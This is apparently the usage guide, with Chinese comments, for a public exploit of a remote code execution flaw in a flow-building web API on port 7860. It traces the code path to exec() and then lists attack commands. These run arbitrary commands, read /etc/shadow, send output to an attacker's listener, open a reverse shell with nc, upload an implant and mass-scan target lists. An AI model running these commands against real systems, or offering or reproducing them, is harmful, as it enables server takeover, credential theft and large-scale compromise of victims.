_____
       /     \
      | () () |
       \  ^  /
        |||||

POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> 任意代码以服务器进程权限运行。游戏结束。

git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

python3 exploit.py --url http://target:7860 --check

python3 exploit.py --url http://target:7860 --cmd "id"

# 终端 1：启动监听器
python3 -m http.server 8080

# 终端 2：发起攻击
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# 从监听器日志中解码 base64：
echo "dWlkPTEwMDAo..." | base64 -d

# 终端 1：启动监听器
nc -l 8080

# 终端 2：发起攻击
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# 原始输出直接出现在 POST 请求体中 - 无需解码

# 终端 1：启动监听器
nc -l 4444

# 终端 2：发起攻击
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

python3 exploit.py --url http://target:7860 --payload-file implant.py

python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# 注释行会被忽略

python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080